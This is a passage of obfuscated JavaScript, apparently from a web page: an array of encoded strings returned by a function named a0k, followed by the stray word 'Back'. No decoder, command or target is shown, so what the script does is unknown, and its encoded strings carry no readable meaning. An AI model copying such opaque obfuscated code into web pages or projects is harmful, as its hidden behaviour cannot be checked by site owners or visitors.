U=['xua8W6ZdIZKmFKTD','WPhcVmkBWQBcK2pdMGq','WQalWQTmWPfuAMOIWQi','DYhdLWHoFSkUW5NcSJNcMapdSbq','xCo5WOy','x8oIWOW','wezT','WQZcPCozW70UW6za','FmowW7O','xCohWRTpWOFcKZVcSa','kauzAwZcKmoPWOtdSZaCza','vSoydq','W4RdKSkJ','btvX','ACosWRO','ue86W6FcP3XPzuvnmY4S','W7KIiqhcOmo+CG','W4BcOuW','EmklW7y','W7qBjq','WQzopG','khWF','i8ojWRO','EmofW6e','WRXtzq','pSkwW4BcT8oJqCoADG','W4X7hq','nbma','gCkfWQq','WOZcKSkK','rSoDWRm','rmkwWP0','hH/cLq','W4dcKCkvxSkZfSkx','ggGW','h19N','gt53','jfGn','nSkeW6/dRSkSW6ODcwjrBMdcGq','WPFcJCks','oczn','s8ksWRO','efTQ','FCo6WOe','W6pcOCk7','x8koWOK','t8obWQK','oxLB','fW1U','gZ9H','evtcRq','WQnGwa','q8oIW5i','WQ/cMmkz','yuiW','WQhdLSkl','aqT9','pNeY','ASoRWO0','uSoSW5u','xgKHemoWlmk0auKiWOBcH8ku','fmo0xW','fmkylG','WRmVlq','WQddOtS','WQzTyG','dfLP','w01T','CColWQq','pCktWQpdMmkHcCkUjWZcPCogWRGRoq','CxhcSW','ad4V','W7xdUK0','b8oVua','lmoNW64','gtj7','WRDHia','WQpcJ8khFq7cGSoUnw4xWQ3dSKe','W4/dQSoF','jG7cHsDgWOzVg0SHWQrpWR4','eSkEhW','W4BdUmkP','WQ7dQCkyWOjsWOywcmk6WR3cU8koW6y','tItcVa','a8kdmq','W7tdQK4','nmkDWQ3dMSkJcCosDtBcO8oOWQy','WQiMiG','W4TJW7m','w8oOWP/dHZtcSSoXoSo7ytezW6y','WRJdN8oqW77cQCo+WPq','fLn8','W7/dSmoE','WP3cHCk4','d8kVW4m','rSkWu8k+smoDod8','vSovBCknhrH1j0ZcUmo8WQy9','W5FdU8k7','W75xW6W','cCkEWRG','WPeXrG','y1ldMG'];a0k=function(){return U;};return a0k();}};
Back